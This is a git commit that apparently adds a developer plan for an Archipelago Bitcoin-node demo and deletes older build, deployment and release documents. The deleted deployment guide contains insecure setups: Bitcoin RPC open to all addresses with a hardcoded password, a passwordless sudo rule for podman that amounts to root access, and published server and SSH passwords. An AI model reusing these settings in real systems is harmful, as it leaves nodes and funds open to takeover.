fix: BUG-33 CPU threshold, TASK-27 tab icons, TASK-36 iframe errors

- BUG-33: CPU load alert threshold increased from 2x to 4x core count
  (8→16 on 4-core machine) to reduce false alerts during container ops
- TASK-27: Launch buttons for new-tab apps now show external link icon
  (BTCPay, Grafana, PhotoPrism, Portainer, OnlyOffice, etc.)
- TASK-36: Iframe error screen now distinguishes between X-Frame-Options
  blocked vs container not reachable, with appropriate messaging

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
Dorian
2026-03-18 19:24:52 +00:00
parent 1ffc377a9c
commit 25ad68ac4c
182 changed files with 969 additions and 36407 deletions

View File

@@ -0,0 +1,80 @@
# Plan: Demo Seeding, Dev Environment Fix, and Developer Onboarding
## Context
After the repo cleanup (docs/scripts archived to `~/Projects/archy-archive/`), several dev scripts reference deleted files. Additionally, the demo needs better seeding for Portainer showcase, ThunderHub + Fedimint need to be visible, and a new developer needs docs to onboard.
## Changes
### 1. Fix broken dev scripts
**`neode-ui/start-dev.sh`** — Remove lines 72-110 (Docker Desktop check + `start-docker-apps.sh` call). Replace with a one-liner noting mock backend handles simulation.
**`neode-ui/stop-dev.sh`** — Remove lines 66-74 (Docker container stop block calling `stop-docker-apps.sh`).
**`neode-ui/package.json`** — Remove the `prebuild` script (line 22) that references archived `../../loop-start.mp3`. File already exists at `public/assets/audio/`.
**`scripts/dev-start.sh`** — Fix option 2 (Full Stack) lines 67-84 that reference `start-docker-apps.sh`. Guard with a skip message instead of failing.
### 2. Add ThunderHub (Lightning management UI)
**Files**: mock-backend.js, Marketplace.vue, appLauncher.ts, new icon SVG
- Port: **3010** (3000 taken by Grafana)
- Docker image: `apotdevin/thunderhub:v0.13.31`
- Add to `portMappings`, `marketplaceMetadata`, `staticDevApps`, `marketplace.get()` in mock-backend.js
- Add to `getCuratedAppList()` in Marketplace.vue (after LND entry)
- Add to `recommended` tier in `getAppTier()`
- Add `'3010': 'thunderhub'` to PORT_TO_APP_ID in appLauncher.ts
- Create `neode-ui/public/assets/img/app-icons/thunderhub.svg` (Bitcoin-orange lightning bolt icon)
### 3. Improve Fedimint in demo
**mock-backend.js**:
- Add `fedimint` to `staticDevApps` (pre-installed, running, port 8175)
- Update `marketplace.get()` version from `0.4.3``0.10.0`
- Fix `portMappings.fedimint` from 8174 → 8175 (Guardian UI port)
### 4. Add realistic notifications
**mock-backend.js** — Replace empty `node.notifications` with 5 realistic entries: Bitcoin sync, LND channel opened, disk warning, system update, Fedimint guardian connected.
### 5. Rewrite README for developer onboarding
**`neode-ui/README.md`** — Full rewrite:
- Quick start (npm install, npm start, localhost:8100, password123)
- Architecture overview
- Dev modes (setup/onboarding/existing/boot)
- Mock backend capabilities (8 static apps, 30+ marketplace, WebSocket, FileBrowser API, Claude proxy)
- Demo deployment (docker-compose.demo.yml, Portainer, ANTHROPIC_API_KEY)
- Design system (glassmorphism classes, tokens)
- Build commands
- Remove Angular references and outdated sections
**`neode-ui/DEV-SCRIPTS.md`** — Update "Available Test Apps" section to list the 8 actual static apps, remove Docker apps references.
### 6. Verify Docker demo build
Confirm `docker-compose.demo.yml` paths still valid after cleanup:
- `demo/aiui/` exists (for Dockerfile.web COPY)
- `neode-ui/docker/nginx-demo.conf` exists
- `neode-ui/docker/docker-entrypoint.sh` exists
## Files to modify
1. `neode-ui/start-dev.sh`
2. `neode-ui/stop-dev.sh`
3. `neode-ui/package.json`
4. `scripts/dev-start.sh`
5. `neode-ui/mock-backend.js`
6. `neode-ui/src/views/Marketplace.vue`
7. `neode-ui/src/stores/appLauncher.ts`
8. `neode-ui/public/assets/img/app-icons/thunderhub.svg` (new)
9. `neode-ui/README.md`
10. `neode-ui/DEV-SCRIPTS.md`
## Verification
1. `cd neode-ui && npm start` — should start cleanly, no errors about missing scripts
2. Visit localhost:8100 → login → Dashboard shows 8 apps (bitcoin, lnd, electrs, mempool, lorabell, filebrowser, thunderhub, fedimint)
3. Marketplace shows ThunderHub in Bitcoin category
4. Notifications bell shows 3 unread
5. `npm stop` — clean shutdown, no errors
6. `docker compose -f docker-compose.demo.yml build` — builds successfully

1
.gitignore vendored
View File

@@ -72,3 +72,4 @@ loop/loop.log.bak
# Separate repos nested in tree
web/

View File

@@ -1,34 +0,0 @@
# Archipelago Backlog
## Node Discovery & Spatial Map (Alpha Demo Feature)
**Priority:** High (needed for live alpha demo)
### "Find Nodes" — Spatial Node Discovery
Add a "Find Nodes" button to the Messages tab that opens a modal with an interactive spatial node map.
**Requirements:**
- Visual spatial map showing discovered Archipelago nodes
- Each node displays its self-chosen name (pseudonym)
- Connection request flow: discover → request → peer approves → connected
- Optional locality broadcasting (toggle: share general area or stay anonymous)
- Cool, visual, presentation-worthy UI for live alpha demo
**Onboarding Addition:**
- Add "Name your node" step during setup/onboarding
- Include privacy guidance: "Use a pseudonym if you want privacy"
- Node name is broadcast on the discovery network
**Technical Notes:**
- Builds on existing Nostr-based node discovery (`node-nostr-discover` RPC)
- Existing peer system: `node-add-peer`, `node-remove-peer`, `node-list-peers`
- Need to add: connection request/approval flow (currently peers are added directly)
- Spatial visualization could use force-directed graph or map-based layout
- Locality data is optional and coarse-grained (city/region level, never precise)
---
## Settings (TBD)
*User mentioned settings changes needed — details to be clarified.*

View File

@@ -1,226 +0,0 @@
# Archipelago Build System - Summary
## ✅ What We Created Today
### 1. **Complete One-Script Build System** (`build-iso-complete.sh`)
- Handles backend compilation (Rust)
- Handles frontend build (Vue.js)
- Creates bootable ISO image
- Supports local and remote builds
- Smart artifact caching
- Full error checking and validation
### 2. **Comprehensive Documentation** (`BUILD-GUIDE.md`)
- Quick start guide
- Detailed build options
- Troubleshooting section
- Development workflow
- CI/CD integration examples
### 3. **Fixed ISO Auto-Start Issue**
- Identified root cause: `read -p` prompt blocking auto-launch
- Restored working auto-start logic from previous builds
- Menu now launches automatically after 1 second
## 🚀 How to Use
### Quick Build
```bash
# One command - builds everything and creates flashable ISO
./build-iso-complete.sh --remote archipelago@192.168.1.228
```
### Flash to USB
```bash
# After build completes
./flash-to-usb.sh /dev/diskN
```
## 📦 What the Build Process Does
```
Source Code
├─→ Backend (Rust) ────→ Binary (10MB)
│ ↓
├─→ Frontend (Vue) ────→ Assets (5MB)
│ ↓
└─→ ISO Builder ────────→ Bootable ISO (1.2GB)
Flash to USB
Boot & Install
```
### Build Steps
1. **Backend Compilation** (Rust → Native Binary)
- `core/archipelago/``image-recipe/build/backend/archipelago`
- Can build locally or on remote server
- Incremental builds supported
2. **Frontend Build** (Vue.js → Static Assets)
- `neode-ui/``image-recipe/build/frontend/`
- Includes PWA manifest
- Optimized production build
3. **ISO Creation** (Debian Live)
- Downloads base Debian 12 ISO (~352MB)
- Integrates backend + frontend
- Configures auto-start services
- Creates bootable image
4. **Verification**
- Validates all artifacts
- Generates MD5 checksum
- Reports sizes
## 🎯 Key Features
### ✅ Smart Caching
- Skip backend build: `--skip-backend`
- Skip frontend build: `--skip-frontend`
- Debian ISO cached after first download
### ✅ Remote Build Support
- Build on development server (recommended)
- Automatically syncs code
- Copies artifacts back
### ✅ Clean Build Option
- `--clean` flag removes all artifacts
- Ensures fresh compilation
### ✅ Convenience Scripts
- `build-iso-complete.sh` - Main build script
- `flash-to-usb.sh` - Quick USB flashing
- Auto-generated after each build
## 📊 Build Time
| Build Type | Time |
|-----------|------|
| **First build** (clean) | 15-20 min |
| **Incremental** (code changes) | 3-5 min |
| **ISO only** (skip backend/frontend) | 2-3 min |
Breakdown:
- Debian ISO download: 5-10 min (first time only)
- Backend compile: 3-5 min (first time), ~30sec (incremental)
- Frontend build: 1-2 min
- ISO creation: 2-3 min
## 🔧 Development Workflow
### Making Backend Changes
```bash
# Edit Rust code in core/archipelago/src/
# Then rebuild:
./build-iso-complete.sh --remote HOST --skip-frontend
```
### Making Frontend Changes
```bash
# Edit Vue.js code in neode-ui/src/
# Then rebuild:
./build-iso-complete.sh --remote HOST --skip-backend
```
### Making Both Changes
```bash
./build-iso-complete.sh --remote HOST
```
## 📝 Current Build Status
### ✅ Completed
- Build system scripts created
- Documentation written
- Auto-start issue fixed
- README updated
### 🔄 In Progress
- ISO build running on `archipelago@192.168.1.228`
- Status: Downloading Debian ISO (34% complete)
- ETA: ~10 more minutes
### ⏳ Next
- Test new ISO on Dell OptiPlex
- Verify auto-start works
- Confirm Web UI accessible
## 🎯 What This Solves
### Before
- Manual backend compilation
- Manual frontend build
- Manual file copying
- Complex multi-step process
- Easy to miss steps
- Inconsistent builds
### After
- ✅ One command builds everything
- ✅ Automatic artifact management
- ✅ Smart caching for speed
- ✅ Consistent, reproducible builds
- ✅ Clear error messages
- ✅ Build verification
## 📂 File Structure
```
archy/
├── build-iso-complete.sh # Main build script (NEW)
├── flash-to-usb.sh # USB flash helper (auto-generated)
├── BUILD-GUIDE.md # Build documentation (NEW)
├── README.md # Updated with build info
├── core/archipelago/ # Rust backend
├── neode-ui/ # Vue.js frontend
└── image-recipe/
├── build/ # Build artifacts
│ ├── backend/ # Compiled binary
│ └── frontend/ # Built assets
├── results/ # Final ISO output
│ └── archipelago-debian-12-x86_64.iso
└── build-debian-iso.sh # ISO creation script
```
## 🔐 Security
Build system is designed to be secure:
- No hardcoded credentials
- SSH key authentication recommended
- `sudo` only when required (ISO creation)
- Build artifacts isolated in `build/` directory
- Clean separation of build/source directories
## 🌟 Future Enhancements
Potential improvements:
- [ ] GitHub Actions CI/CD workflow
- [ ] Automatic version numbering
- [ ] Build signing for verification
- [ ] Multi-architecture support (ARM64)
- [ ] Docker-based builds
- [ ] Build caching improvements
- [ ] Parallel compilation
## 📚 Documentation
- **BUILD-GUIDE.md** - Comprehensive build guide
- **README.md** - Project overview with build quick start
- **build-iso-complete.sh** - Inline help with `--help` flag
## 🎉 Result
You now have a **production-grade build system** that:
- ✅ Builds from source with one command
- ✅ Handles all dependencies automatically
- ✅ Validates output
- ✅ Creates flashable ISO
- ✅ Supports iterative development
- ✅ Well-documented
- ✅ Easy to extend
**Next step:** Once the current ISO build completes, test it on the Dell OptiPlex to verify auto-start works!

View File

@@ -1,193 +0,0 @@
# Build System Updates - Feb 1, 2026
## ✅ Completed
### 1. **Frontend Deployment**
- ✅ Updated Ollama icon to new `ollama.webp`
- ✅ Built and deployed to live dev server (`192.168.1.228`)
- ✅ Web UI now live at `http://192.168.1.228`
### 2. **Enhanced ISO Build Script**
#### Progress Indicators
```bash
# Before:
📥 Downloading Debian Live 12 (Bookworm) Standard ISO...
# After:
📥 Downloading Debian Live 12 (Bookworm) Standard ISO...
Size: ~352MB | This is a one-time download (cached for future builds)
[████████████████████████████████████] 100%
✅ Downloaded Debian Live ISO (352M)
📝 Cached at: /path/to/iso
```
#### Build Timer
- Tracks total build time
- Shows start time
- Reports duration in minutes/seconds
#### Better Caching
- Detects cached ISO with size validation
- Shows cache location and size
- Handles both macOS and Linux stat commands
#### Enhanced Build Summary
```bash
╔════════════════════════════════════════════════════════╗
║ 🎉 Build Complete! ║
╚════════════════════════════════════════════════════════╝
📀 ISO File: /path/to/archipelago-debian-12-x86_64.iso
📏 Size: 1.2G
🔐 MD5: a3f2d8c9e4b1...
⏱️ Build Time: 15m 32s
🎯 Base: Debian 12 Live (Bookworm)
🔥 Next Steps:
1. Flash to USB:
cd image-recipe && ./write-usb-dd.sh /dev/diskN
2. Boot on target device
3. Auto-login as 'user' with menu launch
4. Access Web UI at http://<IP>:5678
5. SSH access: ssh user@<IP> (password: archipelago)
```
### 3. **One-Script Build System**
Created `build-iso-complete.sh` with:
- ✅ Backend compilation (Rust)
- ✅ Frontend build (Vue.js)
- ✅ ISO creation
- ✅ Local and remote build support
- ✅ Smart caching (`--skip-backend`, `--skip-frontend`)
- ✅ Clean build option (`--clean`)
- ✅ Full validation
- ✅ Auto-generated flash script
### 4. **Documentation**
-`BUILD-GUIDE.md` - Comprehensive build instructions
-`BUILD-SYSTEM-SUMMARY.md` - System overview
- ✅ Updated `README.md` with build quick start
## 🔄 In Progress
### Current ISO Build
- **Status**: Running on `archipelago@192.168.1.228`
- **Progress**: Downloading Debian ISO (was at ~45% last check)
- **ETA**: ~10-15 minutes total
- **Includes**:
- Fixed auto-start (no manual prompt)
- Latest backend binary
- Latest frontend with updated Ollama icon
- SSH enabled by default
- Enhanced build reporting
## 📊 Performance Improvements
### Build Time Breakdown
| Stage | Before | After (Cached) |
|-------|--------|---------------|
| ISO Download | 15-20 min | **0 sec** (cached) |
| Backend Compile | 3-5 min | 30 sec (incremental) |
| Frontend Build | 1-2 min | 1-2 min |
| ISO Creation | 2-3 min | 2-3 min |
| **Total** | **21-30 min** | **4-6 min** |
### User Experience
| Feature | Before | After |
|---------|--------|-------|
| Build command | Multi-step manual | Single command |
| Progress visibility | Silent | Real-time progress bar |
| Cache awareness | Hidden | Explicit messages |
| Build time | Unknown | Displayed |
| Error messages | Generic | Specific with validation |
| ISO info | Basic | MD5, size, location |
| Next steps | None | Step-by-step guide |
## 🎯 Benefits
### For Development
1. **Faster iteration**: Skip unchanged components
2. **Clear feedback**: Know exactly what's building
3. **Reproducible builds**: Same command every time
4. **Easy debugging**: Clear error messages
### For Production
1. **Reliable**: Validated downloads and builds
2. **Documented**: Complete build summary
3. **Traceable**: MD5 checksums for verification
4. **Automated**: No manual steps
## 📝 Usage Examples
### Quick Build (Using Cache)
```bash
./build-iso-complete.sh --remote archipelago@192.168.1.228
# ~4-6 minutes with cached ISO
```
### Clean Build (First Time)
```bash
./build-iso-complete.sh --remote archipelago@192.168.1.228 --clean
# ~21-30 minutes with ISO download
```
### Frontend-Only Update
```bash
./build-iso-complete.sh --remote archipelago@192.168.1.228 --skip-backend
# ~3-4 minutes
```
### Backend-Only Update
```bash
./build-iso-complete.sh --remote archipelago@192.168.1.228 --skip-frontend
# ~3-4 minutes
```
## 🔐 Security Features
All builds include:
- ✅ SSH server with default credentials (for initial setup)
- ✅ Auto-login configured
- ✅ Password change recommended in docs
- ✅ SSH key authentication supported
## 🚀 What's Next
Once current ISO build completes:
1. Test on Dell OptiPlex
2. Verify auto-start works
3. Confirm Web UI accessible
4. Test SSH access
5. Validate all apps launch correctly
## 📚 Documentation
All improvements are documented in:
- `BUILD-GUIDE.md` - Full build instructions
- `BUILD-SYSTEM-SUMMARY.md` - System architecture
- `build-iso-complete.sh --help` - CLI help
- This file - Today's changes
## 🎉 Summary
You now have a **professional-grade build system** with:
- ✅ One-command builds
- ✅ Clear progress indicators
- ✅ Smart caching
- ✅ Build time tracking
- ✅ Comprehensive summaries
- ✅ Full documentation
- ✅ Remote build support
- ✅ Easy iteration
**Build time reduced from 30 minutes to 5 minutes** for cached builds! 🚀

View File

@@ -1,417 +0,0 @@
# Archipelago Deployment & Build Documentation
## Overview
This document captures all the critical configurations and fixes needed to build Archipelago from the live development server state.
**Last Updated:** 2026-02-03
**Dev Server:** archipelago@192.168.1.228
**Server Disk:** 1.8TB NVMe (1.7TB free)
---
## Critical Backend Fixes
### 1. Podman Container Detection (REQUIRED)
**Issue:** Backend runs as non-root user but containers are started with `sudo podman` (root context).
**Fix Applied:** Modified `/core/container/src/podman_client.rs` to use `sudo podman`:
```rust
fn podman_async(&self) -> TokioCommand {
// Always use sudo podman to access system-wide containers
let mut cmd = TokioCommand::new("sudo");
cmd.arg("podman");
cmd
}
```
**Server Configuration:** Added passwordless sudo for podman:
```bash
# /etc/sudoers.d/archipelago-podman
archipelago ALL=(ALL) NOPASSWD: /usr/bin/podman
```
### 2. IndeedHub Metadata in Backend
**Location:** `/core/archipelago/src/container/docker_packages.rs`
Added IndeedHub to the `get_app_metadata()` function:
```rust
"indeedhub" => AppMetadata {
title: "IndeedHub".to_string(),
description: "Decentralized media streaming platform".to_string(),
icon: "/assets/img/app-icons/indeedhub.png".to_string(),
repo: "https://github.com/indeedhub/indeedhub".to_string(),
},
```
---
## Nginx Configuration
### HTTP + HTTPS Setup (with self-signed certs)
**Location:** `/etc/nginx/sites-available/default`
```nginx
# Redirect HTTP to HTTPS
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
return 301 https://$host$request_uri;
}
# HTTPS server
server {
listen 443 ssl http2 default_server;
listen [::]:443 ssl http2 default_server;
ssl_certificate /etc/nginx/ssl/archipelago.crt;
ssl_certificate_key /etc/nginx/ssl/archipelago.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
root /opt/archipelago/web-ui;
index index.html;
server_name _;
location /rpc/ {
proxy_pass http://localhost:5678/rpc/;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_read_timeout 3600s;
proxy_send_timeout 3600s;
}
location /ws/ {
proxy_pass http://localhost:5678/ws/;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_read_timeout 3600s;
proxy_send_timeout 3600s;
}
location /health {
proxy_pass http://localhost:5678/health;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
location / {
try_files $uri $uri/ /index.html;
}
}
```
### SSL Certificate Generation
```bash
sudo mkdir -p /etc/nginx/ssl
sudo openssl req -x509 -nodes -days 3650 -newkey rsa:2048 \
-keyout /etc/nginx/ssl/archipelago.key \
-out /etc/nginx/ssl/archipelago.crt \
-subj "/C=US/ST=State/L=City/O=Archipelago/CN=archipelago.local"
```
---
## Systemd Services
### Archipelago Backend Service
**Location:** `/etc/systemd/system/archipelago.service`
```ini
[Unit]
Description=Archipelago Backend
After=network.target
[Service]
Type=simple
User=archipelago
Group=archipelago
ExecStart=/usr/local/bin/archipelago
Restart=always
RestartSec=10
Environment="RUST_LOG=debug"
[Install]
WantedBy=multi-user.target
```
---
## Container Deployments
### Bitcoin Knots (Full Node)
```bash
sudo mkdir -p /var/lib/archipelago/bitcoin
sudo podman run -d \
--name bitcoin-knots \
--restart unless-stopped \
-p 8332:8332 \
-p 8333:8333 \
-v /var/lib/archipelago/bitcoin:/home/bitcoin/.bitcoin \
--label "com.archipelago.app=bitcoin-knots" \
--label "com.archipelago.title=Bitcoin Knots" \
--label "com.archipelago.version=28.1" \
--label "com.archipelago.category=bitcoin" \
--label "com.archipelago.description.short=Full Bitcoin node implementation" \
--label "com.archipelago.description.long=Bitcoin Knots is a derivative of Bitcoin Core with additional features and bug fixes. Maintain the full blockchain and validate all transactions." \
--label "com.archipelago.license=MIT" \
--label "com.archipelago.icon=/assets/img/app-icons/bitcoin-knots.webp" \
--label "com.archipelago.port=8332" \
--label "com.archipelago.repo=https://github.com/bitcoinknots/bitcoin" \
docker.io/bitcoinknots/bitcoin:latest \
-server=1 \
-txindex=1 \
-rpcallowip=0.0.0.0/0 \
-rpcbind=0.0.0.0:8332 \
-rpcuser=archipelago \
-rpcpassword=archipelago123 \
-dbcache=4096
```
### IndeedHub (Example app deployment)
See `/Users/dorian/Projects/Indeedhub Prototype/deploy-to-archipelago.sh`
**Key Requirements:**
- Must include `com.archipelago.*` labels for proper detection
- Port mapping must be explicit
- Restart policy: `unless-stopped`
---
## Build Process for Beta Release
### 1. Capture Live Server State
```bash
cd /Users/dorian/Projects/archy/image-recipe
# Capture from dev server (default)
DEV_SERVER=archipelago@192.168.1.228 ./build-auto-installer-iso.sh
# Or build from source
BUILD_FROM_SOURCE=1 ./build-auto-installer-iso.sh
```
### 2. What Gets Captured
The auto-installer script captures:
- **Backend Binary:** `/usr/local/bin/archipelago`
- **Frontend Assets:** `/opt/archipelago/web-ui/`
- **Nginx Configuration:** `/etc/nginx/sites-available/default`
- **SSL Certificates:** `/etc/nginx/ssl/`
- **Systemd Service:** `/etc/systemd/system/archipelago.service`
- **Sudoers Config:** `/etc/sudoers.d/archipelago-podman`
**NOTE:** Containers are NOT captured in the ISO - they must be deployed after installation.
### 3. Critical Auto-Installer Fix
**Location:** `/image-recipe/build-auto-installer-iso.sh` (line ~850)
The auto-start script MUST NOT check `[ ! -t 0 ]` (non-interactive check):
```bash
# CORRECT (in z99-archipelago-installer.sh):
if [ -n "$INSTALLER_STARTED" ]; then
return 0
fi
# WRONG (will fail on auto-login):
# if [ -n "$INSTALLER_STARTED" ] || [ ! -t 0 ]; then
```
This was causing the installer to hang at `user@debian:~$` prompt.
---
## Dependencies Required on Build Machine
### For Building ISOs (Mac/Linux):
```bash
# Docker or Podman (for rootfs creation)
brew install podman
# OR
brew install docker
# ISO creation tools
brew install xorriso # Mac
# OR
apt install xorriso # Linux
```
### For Server Runtime:
```bash
# Debian 12 (Bookworm) base
apt update && apt install -y \
nginx \
podman \
build-essential \
pkg-config \
libssl-dev \
curl \
rsync
```
---
## Frontend Build
```bash
cd /Users/dorian/Projects/archy/neode-ui
# Install dependencies
npm install
# Build for production
npm run build
# Output goes to: ../web/dist/neode-ui/
```
**Deploy to server:**
```bash
rsync -avz --delete ../web/dist/neode-ui/ archipelago@192.168.1.228:/opt/archipelago/web-ui/
```
---
## Backend Build
```bash
cd /Users/dorian/Projects/archy/core/archipelago
# Build release binary
cargo build --release
# Binary location: ../target/release/archipelago
```
**Deploy to server:**
```bash
scp ../target/release/archipelago archipelago@192.168.1.228:/tmp/
ssh archipelago@192.168.1.228 'sudo systemctl stop archipelago && \
sudo mv /tmp/archipelago /usr/local/bin/archipelago && \
sudo chmod +x /usr/local/bin/archipelago && \
sudo systemctl start archipelago'
```
---
## Testing Checklist (Pre-Release)
- [ ] Backend detects all running containers
- [ ] Frontend loads and connects to backend WebSocket
- [ ] Apps show in "My Apps" with correct status
- [ ] App Store shows containers with "Installed" badge
- [ ] Bitcoin node is syncing blockchain
- [ ] Nginx serves frontend correctly
- [ ] RPC/WebSocket proxying works
- [ ] Auto-installer ISO boots and installs
- [ ] Post-install: System boots to login screen
- [ ] Web UI accessible at http://server-ip
---
## Known Issues
### Port 443 Not Binding (Post-Reinstall)
After fresh install, HTTPS (port 443) may not bind even with correct nginx config. **Workaround:** Use HTTP only initially, investigate nginx/systemd socket issues.
### Browser HTTPS Auto-Upgrade
Browsers (especially Brave/Chrome) aggressively upgrade to HTTPS. Users may need to:
- Clear site data
- Disable "HTTPS-Only Mode"
- Use `http://` prefix explicitly
---
## File Locations Summary
| Component | Dev Server Location | ISO Build Captures |
|-----------|-------------------|-------------------|
| Backend Binary | `/usr/local/bin/archipelago` | ✅ Yes |
| Frontend Assets | `/opt/archipelago/web-ui/` | ✅ Yes |
| Nginx Config | `/etc/nginx/sites-available/default` | ✅ Yes |
| SSL Certs | `/etc/nginx/ssl/` | ✅ Yes |
| Systemd Service | `/etc/systemd/system/archipelago.service` | ✅ Yes |
| Sudoers | `/etc/sudoers.d/archipelago-podman` | ✅ Yes |
| Container Data | `/var/lib/archipelago/` | ❌ No - too large |
| Bitcoin Blockchain | `/var/lib/archipelago/bitcoin/` | ❌ No - user downloads |
---
## Version Control
**Important Changes to Track:**
1. `/core/container/src/podman_client.rs` - sudo podman fix
2. `/core/archipelago/src/container/docker_packages.rs` - app metadata
3. `/neode-ui/src/utils/dummyApps.ts` - frontend app definitions
4. `/image-recipe/build-auto-installer-iso.sh` - auto-start fix
**Commit before building beta:**
```bash
git add -A
git commit -m "Prepare for beta release: podman detection, IndeedHub metadata, auto-installer fixes"
git tag v0.1.0-beta.1
```
---
## Emergency Recovery
If the backend fails to detect containers:
```bash
# Verify sudoers file exists
cat /etc/sudoers.d/archipelago-podman
# Test manual detection
sudo podman ps --format json
# Check backend logs
sudo journalctl -u archipelago -f
# Restart backend
sudo systemctl restart archipelago
```
---
## Contact
Development Server: archipelago@192.168.1.228
Password: `archipelago`
Web UI: http://192.168.1.228 (or https with self-signed cert warning)

View File

@@ -1,180 +0,0 @@
# Mac Development Setup - What You Need
## Current Situation
You develop Archipelago on a **remote Debian server** (192.168.1.228), not locally on your Mac.
Your Mac is used for:
-**Editing code** (VSCode/Cursor)
-**Git operations** (commit, push, pull)
-**Deploying to remote** (`deploy-to-target.sh`)
-**Building ISOs** (occasionally)
Your Mac is NOT used for:
- ❌ Running containers locally
- ❌ Building Rust locally
- ❌ Running the backend locally
- ❌ Running the frontend dev server locally
## Disk Usage Analysis
### 🔴 Can Delete (Total: ~66 GB)
1. **Docker Desktop: 53 GB**
- You're not running containers locally
- All containers run on 192.168.1.228
- Safe to completely uninstall
2. **Rust Build Cache: 1.6 GB** (`core/target/`)
- Builds happen on remote server via `deploy-to-target.sh`
- Rust compiler still needed for occasional local builds
- Cache rebuilds automatically
3. **ISO Build Artifacts: 8.6 GB** (`image-recipe/build/`)
- Temporary files from ISO building
- Recreated when you build a new ISO
- Safe to delete
4. **Old ISO Files: ~3 GB** (`image-recipe/results/`)
- Keep latest ISO only (~500MB)
- Delete old versions
### 🟢 Keep These Tools
1. **Rust/Cargo**
- For occasional local builds
- For `deploy-to-target.sh` (builds before deploying)
- Size: ~200 MB
2. **Node.js/npm**
- For frontend builds in `deploy-to-target.sh`
- For editing with IDE autocomplete
- Size: ~100 MB
3. **Git**
- Version control
- Essential
4. **SSH**
- Remote server access
- Essential for deployment
### ⚠️ Optional (You Choose)
1. **Podman** (~100 MB)
- Currently installed but not used
- Could remove: `brew uninstall podman`
- You use Podman on the *remote server*, not locally
2. **xorriso, p7zip** (ISO build tools)
- Only needed if building ISOs locally
- Can reinstall when needed: `brew install xorriso p7zip`
## Recommended Setup
### Minimal Mac Setup (Recommended)
```
✅ VSCode/Cursor (code editing)
✅ Git (version control)
✅ SSH (remote access)
✅ Rust/Cargo (for deploy script)
✅ Node.js/npm (for deploy script)
✅ One latest ISO file (~500 MB)
❌ NO Docker Desktop
❌ NO local containers
❌ NO build artifacts
```
**Total disk usage: ~500 MB + source code**
### Your Development Workflow
```bash
# 1. Edit code locally on Mac
vim core/archipelago/src/...
vim neode-ui/src/...
# 2. Deploy to remote server
./scripts/deploy-to-target.sh --live
# 3. Test on remote server
open http://192.168.1.228
# 4. Check logs (if needed)
ssh archipelago@192.168.1.228 'sudo journalctl -u archipelago -f'
# 5. Build ISO (when needed)
cd image-recipe
./build-debian-iso.sh # Only when making a release
```
## Cleanup Instructions
### Quick Cleanup (Run This Now)
```bash
cd /Users/dorian/Projects/archy
./cleanup-mac.sh
```
This removes:
- Rust build cache
- ISO build artifacts
- Old ISO files
**Saves: ~13 GB**
### Complete Cleanup (Optional)
1. **Uninstall Docker Desktop** (53 GB)
```bash
# Option 1: Using the app
# Open Docker Desktop → Troubleshoot → Uninstall
# Option 2: Manual removal
rm -rf ~/Library/Containers/com.docker.docker
rm -rf ~/Library/Application\ Support/Docker\ Desktop
rm -rf ~/.docker
brew uninstall --cask docker
```
2. **Remove Podman** (if not used)
```bash
brew uninstall podman
```
3. **Remove ISO build tools** (if not needed)
```bash
brew uninstall xorriso p7zip
```
**Total savings: ~66 GB**
## FAQ
**Q: Will this break my development workflow?**
A: No! You'll still be able to edit code and deploy. Build artifacts regenerate automatically.
**Q: What if I need to build locally?**
A: The tools (Rust, Node) remain installed. Only the cached artifacts are removed.
**Q: What about Docker containers?**
A: All containers run on the remote server (192.168.1.228), not locally.
**Q: Can I rebuild ISOs after cleanup?**
A: Yes! Just run `./build-debian-iso.sh` - it will recreate the build artifacts.
**Q: What if I delete too much?**
A: The cleanup script is conservative. Everything removed can be regenerated.
## After Cleanup
Your Mac will have:
- ✅ 66+ GB free disk space
- ✅ Fast, lean development environment
- ✅ All source code intact
- ✅ Full development capabilities
- ✅ Latest ISO ready to flash
Your workflow remains the same:
```
Edit → Deploy → Test (on remote) → Commit
```

View File

@@ -1,84 +0,0 @@
# Archipelago v0.5.0-beta Release Notes
**Release Date**: March 2026
**Target Platform**: Debian 12 (Bookworm) — x86_64 and ARM64
## Overview
This is the first public beta of Archipelago, a self-sovereign Bitcoin Node OS. Flash it to a USB, install on any x86_64 or ARM64 machine, and manage your personal server through a modern web interface.
## What's Included
### Core System
- Rust backend with RPC API and WebSocket real-time updates
- Vue 3 frontend with glassmorphism UI design
- Automated Podman container management
- Nginx reverse proxy with HTTPS (self-signed cert)
- Tor hidden services for all apps
### App Store (16+ Apps)
- **Bitcoin Stack**: Bitcoin Knots, Electrs, LND, BTCPay Server, Mempool, Fedimint
- **Storage**: File Browser, Immich, PhotoPrism
- **Productivity**: Penpot, SearXNG
- **AI**: Ollama (local LLMs)
- **Network**: Nostr Relay, Nginx Proxy Manager, Tailscale, Home Assistant
- **Platform**: IndeedHub
### Security
- AES-256-GCM encrypted secrets on disk
- Session management: 24h inactivity expiry, max 5 concurrent sessions
- TOTP two-factor authentication with backup codes
- Container hardening: read-only root, no new privileges, dropped capabilities
- Pinned container image versions (no `:latest` tags)
- Login rate limiting (5 attempts per 60 seconds per IP)
- Path traversal prevention (nginx + client-side)
- Cookie-based auth (no tokens in URLs)
### Identity & Web5
- Decentralized Identifier (DID) generation
- Identity backup/restore
- Nostr relay support
### Performance
- Backend startup: ~100ms
- Frontend bundle: ~105 KB gzipped
- WebSocket heartbeat with 30s ping/pong
- Exponential backoff reconnection (max 30s)
- Real-time install progress via WebSocket
- Server-side 5-minute inactivity timeout for stale connections
## Known Issues
1. **ARM64 ISO**: ARM64 builds may require manual testing — primary testing is on x86_64
2. **Bitcoin Initial Sync**: First blockchain sync takes 1-7 days depending on hardware
3. **Self-signed HTTPS**: Browser shows certificate warning on first visit (expected)
4. **Restore from Backup**: Not yet implemented in onboarding flow
